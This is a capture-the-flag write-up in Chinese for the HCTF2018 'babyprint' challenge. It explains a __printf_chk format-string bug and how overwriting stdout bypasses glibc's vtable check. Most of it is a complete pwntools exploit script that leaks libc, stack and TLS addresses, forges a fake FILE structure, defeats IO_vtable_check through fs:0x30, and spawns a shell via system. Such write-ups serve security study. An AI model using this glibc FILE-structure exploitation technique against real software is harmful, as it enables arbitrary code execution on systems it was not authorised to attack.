HCTF2018-babyprint

point

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
v3 = *(_QWORD *)&stdout[1]._flags;
while ( 1 )
{
v6 = 0;
while ( 1 )
{
read(0, &buf, 1uLL);
buffer[v6] = buf;
if ( buffer[v6] == 10 )
break;
if ( ++v6 > 511 )
goto LABEL_6;
}
buffer[v6] = 0;
LABEL_6:
v4 = stdout;
if ( *(_QWORD *)&stdout[1]._flags != v3 )
{
write(1, "rewrite vtable is not permitted!\n", 0x21uLL);
*(_QWORD *)&v4[1]._flags = v3;
}
__printf_chk(1LL, buffer, 3735928559LL);
}

很显然格式化漏洞,但是这个地方用的是printf_chk, 无法用来写,只能用来leak。但是这里写buffer是可以覆盖stdout的,所以可以用stdout来写。这里做了一个check保证vtable不会被劫持。但是这里并没有用,我们来分析分析这里为什么没有用。 _printf_chk 会调用_IO_vfprintf_internal,这个函数再进行格式化输出的时候,会用%来分割format。比如第一个%之前的字符串,肯定是原样输出,当然这里碰到\x00,也是会造成截断的。那么先把这条字符串输出。输出时调用_IO_new_file_xsputn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
const char *s = (const char *) data;
_IO_size_t to_do = n;
int must_flush = 0;
_IO_size_t count = 0;

if (n <= 0)
return 0;

if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
...
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; //这里如果输出缓存存在的话,先把输出缓冲填满。

if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
//这里我们是可以位置stdout来达到任意写的
s += count;
to_do -= count;
}
if (to_do + must_flush > 0) //must_flush可以不用管。需要携带相应的flag和输出字符中要存在\n
{ //默认mush_flush为零,那么这里如果to_do>0,就会刷新输出缓冲
//所以这里我们在上面那一步直接覆盖vtable
//这里只需要输出的字符串长度是大于输出缓冲区的情况下,就会刷新缓冲
//所以前面check vtable其实是没有用的。在这步之前需要把bypass iO_vtable_check的准备工作做好。
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)

所以这道题的整体上就是用printf_chk leak,然后就是写vtable,控制程序流。下面直接看exp,这些通过写fs:[30]来bypass IO_vtable_check的可以看看我前面写那篇文章。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn_debug import *
context.log_level='debug'

pwdg=pwn_debug("babyprintf")

pwdg.context.terminal=['tmux', 'splitw', '-h']


pwdg.debug('2.27')


p=pwdg.run("debug")

libc = pwdg.libc

raw_input('a')
p.recvuntil('location to ')
binary=p.recvuntil('\n')[:-1]

buff=int(binary,16)
data=buff-0x10
success('data {}'.format(hex(data)))
p.recvuntil('!\n')
stdout_offset=buff+0x100
fake_stdout=p64(0xfbad2284|0x8000)
fake_stdout+=p64(stdout_offset+116)*3
fake_stdout+=p64(stdout_offset+116)*2
fake_stdout+=p64(stdout_offset+116+6)
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p32(1)
fake_stdout=fake_stdout.ljust(0xd0,'\x00')
fake_stdout+=p64(buff);

fmt_s="xxxx%72$p"
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
p.sendline(poc1)
p.recvuntil('\n')
libc_addr=int('0x'+p.recv(12),16) - libc.symbols['__libc_start_main'] - 238 # leak libc_base
#43:0x7ffc54238e48 -> 0x7f30f3521b8e (__libc_start_main+238) mov edi, eax

success('libc {}'.format(hex(libc_addr))) #
raw_input('a')
fmt_s="xxxx%74$p"

poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
p.sendline(poc1)
p.recvuntil('\n')
stack_addr=int('0x'+p.recv(12),16)
success('stack {}'.format(hex(stack_addr)))

raw_input('a')
io_check=libc_addr+libc.symbols['_IO_vtable_check']
sh=libc_addr+next(libc.search('/bin/sh'))
system=libc_addr+libc.symbols['system']
def write_to(addr,val):
fmt_s=val
fake_stdout=p64(0xfbad2284|0x8000)
fake_stdout+=p64(addr)*5
fake_stdout+=p64(addr+8)
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p32(1)
fake_stdout=fake_stdout.ljust(0xd8,'\x00')
fake_stdout+=p64(buff);
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
poc1+=p64(0xdeadbeef)*3
p.sendline(poc1)
p.recvuntil('\n')

def rol(x,off):
return ((x << off) | (x >> (64-off)))&0xffffffffffffffff

#0x7ffc54238e58 -> 0x7ffc54238f28 -> 0x7ffc54239fac <- '/tmp/babyprintf'

write_to(stack_addr,p64(libc_addr+0x3AF008+1)) # libc -> link_map
#0x7ffc54238f28 -> 0x7ffc54239fac <- '/tmp/babyprintf'

fmt_s="xxxxxx%%%d$s"%(74+0xd0/8)
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
p.sendline(poc1)
p.recvuntil('\n')
tls_addr=u64('\x00'+p.recv(5)+'\x00\x00')
success('tls {}'.format(hex(tls_addr)))

write_to(tls_addr+0x1570,'a'*8) #fs:0x30
write_to(libc_addr+libc.symbols['IO_accept_foreign_vtables'],p64(rol((io_check)^u64('a'*8),17)))
fmt_s=p64(stdout_offset+0xd8)[:-2]+'aa'
fake_stdout=p32(0xfbad2284|0x8000)+';sh\x00' # check default_io_flag
fake_stdout+=p64(stdout_offset+0xd8)*3
fake_stdout+=p64(stdout_offset+0xd8)*2
fake_stdout+=p64(stdout_offset+0xd8+6)
fake_stdout=fake_stdout.ljust(112,'\x00')
fake_stdout+=p32(1)
fake_stdout=fake_stdout.ljust(0xd8,'\x00')
fake_stdout+=p64(buff);
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset)
poc1=poc1.ljust(0x100,'\x00')
poc1+=fake_stdout
poc1+=p64(system)*3
assert len(poc1) < 0x200
raw_input('aaaaaaaaaaaaaaaaaaaaaaaaa')
p.sendline(poc1)
p.recvuntil('\n')

p.interactive()